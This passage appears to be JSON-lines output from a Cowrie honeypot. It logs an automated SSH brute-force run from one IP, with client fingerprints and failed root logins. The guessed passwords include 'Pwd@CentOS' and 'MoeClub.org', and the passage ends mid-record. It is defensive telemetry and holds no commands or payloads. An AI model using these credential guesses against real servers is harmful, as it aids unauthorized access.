{"eventid":"cowrie.client.kex","hassh":"1507069938cc303a0479feda273ec02c","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1507069938cc303a0479feda273ec02c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:12.113235Z","src_ip":"107.173.85.94","session":"24961b1cd821","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pwd@CentOS","message":"login attempt [root/Pwd@CentOS] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:12.238607Z","src_ip":"107.173.85.94","session":"24961b1cd821","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:13.267701Z","src_ip":"107.173.85.94","session":"24961b1cd821","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.173.85.94","src_port":60890,"dst_ip":"10.17.0.5","dst_port":22,"session":"35b4e8c6fcb4","protocol":"ssh","message":"New connection: 107.173.85.94:60890 (10.17.0.5:22) [session: 35b4e8c6fcb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:13.288067Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:13.292326Z","src_ip":"107.173.85.94","session":"35b4e8c6fcb4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1507069938cc303a0479feda273ec02c","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1507069938cc303a0479feda273ec02c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:13.338279Z","src_ip":"107.173.85.94","session":"35b4e8c6fcb4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"LeitboGi0ro","message":"login attempt [root/LeitboGi0ro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:13.433057Z","src_ip":"107.173.85.94","session":"35b4e8c6fcb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:14.457639Z","src_ip":"107.173.85.94","session":"35b4e8c6fcb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.173.85.94","src_port":60900,"dst_ip":"10.17.0.5","dst_port":22,"session":"72e876fb81c9","protocol":"ssh","message":"New connection: 107.173.85.94:60900 (10.17.0.5:22) [session: 72e876fb81c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:14.476864Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:14.481775Z","src_ip":"107.173.85.94","session":"72e876fb81c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1507069938cc303a0479feda273ec02c","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1507069938cc303a0479feda273ec02c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:14.499646Z","src_ip":"107.173.85.94","session":"72e876fb81c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"MoeClub.org","message":"login attempt [root/MoeClub.org] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:14.561563Z","src_ip":"107.173.85.94","session":"72e876fb81c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:15.593950Z","src_ip":"107.173.85.94","session":"72e876fb81c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.173.85.94","src_port":60902,"dst_ip":"10.17.0.5","dst_port":22,"session":"5726766cd3f9","protocol":"ssh","message":"New connection: 107.173.85.94:60902 (10.17.0.5:22) [session: 5726766cd3f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:15.609916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:15.614579Z","src_ip":"107.173.85.94","session":"5726766cd3f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1507069938cc303a0479feda273ec02c","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1507069938cc303a0479feda273ec02c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:15.634992Z","src_ip":"107.173.85.94","session":"5726766cd3f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Minijer.com","message":"login attempt [root/Minijer.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:15.697342Z","src_ip":"107.173.85.94","session":"5726766cd3f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:16.720076Z","src_ip":"107.173.85.94","session":"5726766cd3f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.173.85.94","src_port":60908,"dst_ip":"10.17.0.5","dst_port":22,"session":"f78131fccc6e","protocol":"ssh","message":"New connection: 107.173.85.94:60908 (10.17.0.5:22) [session: f78131fccc6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:16.735241Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:16.739965Z","src_ip":"107.173.85.94","session":"f78131fccc6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1507069938cc303a0479feda273ec02c","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1507069938cc303a0479feda273ec02c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:16.765379Z","src_ip":"107.173.85.94","session":"f78131fccc6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pwd@Linux","message":"login attempt [root/Pwd@Linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:16.882995Z","src_ip":"107.173.85.94","session":"f78131fccc6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":57335,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5405904b5fc","protocol":"telnet","message":"New connection: 212.55.149.117:57335 (10.17.0.5:23) [session: e5405904b5fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:17.406887Z"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:17.924001Z","src_ip":"107.173.85.94","session":"f78131fccc6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.173.85.94","src_port":60924,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7fa27087385","protocol":"ssh","message":"New connection: 107.173.85.94:60924 (10.17.0.5:22) [session: c7fa27087385]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:17.946291Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:17.952691Z","src_ip":"107.173.85.94","session":"c7fa27087385","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1507069938cc303a0479feda273ec02c","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1507069938cc303a0479feda273ec02c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:17.969702Z","src_ip":"107.173.85.94","session":"c7fa27087385","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"MoeClub.org","message":"login attempt [root/MoeClub.org] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:18.129467Z","src_ip":"107.173.85.94","session":"c7fa27087385","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:19.156017Z","src_ip":"107.173.85.94","session":"c7fa27087385","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.173.85.94","src_port":60934,"dst_ip":"10.17.0.5","dst_port":22,"session":"88a4118d9ac0","protocol":"ssh","message":"New connection: 107.173.85.94:60934 (10.17.0.5:22) [session: 88a4118d9ac0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:19.167634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:19.182347Z","src_ip":"107.173.85.94","session":"88a4118d9ac0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1507069938cc303a0479feda273ec02c","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1507069938cc303a0479feda273ec02c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:19.197567Z","src_ip":"107.173.85.94","session":"88a4118d9ac0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pwd@CentOS","message":"login attempt [root/Pwd@CentOS] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:19.306016Z","src_ip":"107.173.85.94","session":"88a4118d9ac0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:20.327341Z","src_ip":"107.173.85.94","session":"88a4118d9ac0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.173.85.94","src_port":45406,"dst_ip":"10.17.0.5","dst_port":22,"session":"484f6be129f6","protocol":"ssh","message":"New connection: 107.173.85.94:45406 (10.17.0.5:22) [session: 484f6be129f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:20.355396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:20.370199Z","src_ip":"107.173.85.94","session":"484f6be129f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1507069938cc303a0479feda273ec02c","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1507069938cc303a0479feda273ec02c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:20.376546Z","src_ip":"107.173.85.94","session":"484f6be129f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cxthhhhh.com","message":"login attempt [root/cxthhhhh.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:20.500569Z","src_ip":"107.173.85.94","session":"484f6be129f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:21.526335Z","src_ip":"107.173.85.94","session":"484f6be129f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.173.85.94","src_port":45422,"dst_ip":"10.17.0.5","dst_port":22,"session":"82ff8b2e2ab5","protocol":"ssh","message":"New connection: 107.173.85.94:45422 (10.17.0.5:22) [session: 82ff8b2e2ab5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:21.549379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:21.554072Z","src_ip":"107.173.85.94","session":"82ff8b2e2ab5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1507069938cc303a0479feda273ec02c","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1507069938cc303a0479feda273ec02c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:21.590701Z","src_ip":"107.173.85.94","session":"82ff8b2e2ab5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qzyidc123!@#","message":"login attempt [root/Qzyidc123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:21.719298Z","src_ip":"107.173.85.94","session":"82ff8b2e2ab5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:22.753702Z","src_ip":"107.173.85.94","session":"82ff8b2e2ab5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"151.80.141.196","src_port":43002,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff618a9ed665","protocol":"ssh","message":"New connection: 151.80.141.196:43002 (10.17.0.5:22) [session: ff618a9ed665]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:23.765493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:37:23.772488Z","src_ip":"151.80.141.196","session":"ff618a9ed665","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-